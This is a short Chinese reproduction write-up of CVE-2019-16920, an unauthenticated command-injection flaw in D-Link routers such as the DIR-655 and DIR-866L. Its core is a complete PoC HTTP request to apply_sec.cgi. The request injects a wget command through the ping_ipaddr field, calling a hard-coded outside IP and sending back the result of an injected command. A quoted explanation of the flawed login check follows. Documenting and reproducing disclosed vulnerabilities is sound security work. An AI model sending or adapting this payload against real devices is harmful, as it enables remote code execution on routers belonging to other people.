## 一、漏洞简介

D-Link设备中出现未经身份验证的命令注入漏洞(FG-VD-19-117/CVE-2019-16920)，该漏洞可造成远程代码执行。

## 二、漏洞影响

DIR-655 ，DIR-866L，DIR-652，DHP-1565，DIR-855L，DAP-1533，DIR-862L，DIR-615，DIR-835，DIR-825等

## 三、复现过程

### poc

> 攻击者可以利用该漏洞将任意字符串发送到“PingTest”网关接口来实现命令注入。

```
POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
Connection: close
Referer: http://192.168.232.128/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1

html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)
```

“该漏洞始于一次错误的身份验证过程。当我们要进入管理页面时，需要执行登录操作。此时，我们会对`apply_sec.cgi`页面发出`POST`请求，其中包含一个操作`ping_test`。研究后发现，我们可通过参数`ping_ipaddr`执行命令注入。虽然响应是返回登录页面，但操作`ping_test`仍然执行了，我们通过参数`ping_ipaddr`注入的命令`echo 1234`成功执行，并将结果发送回我们的服务器。”

![image](resource/%EF%BC%88CVE-2019-16920%EF%BC%89D-Link%20rce/media/7-20201014111607378.png)

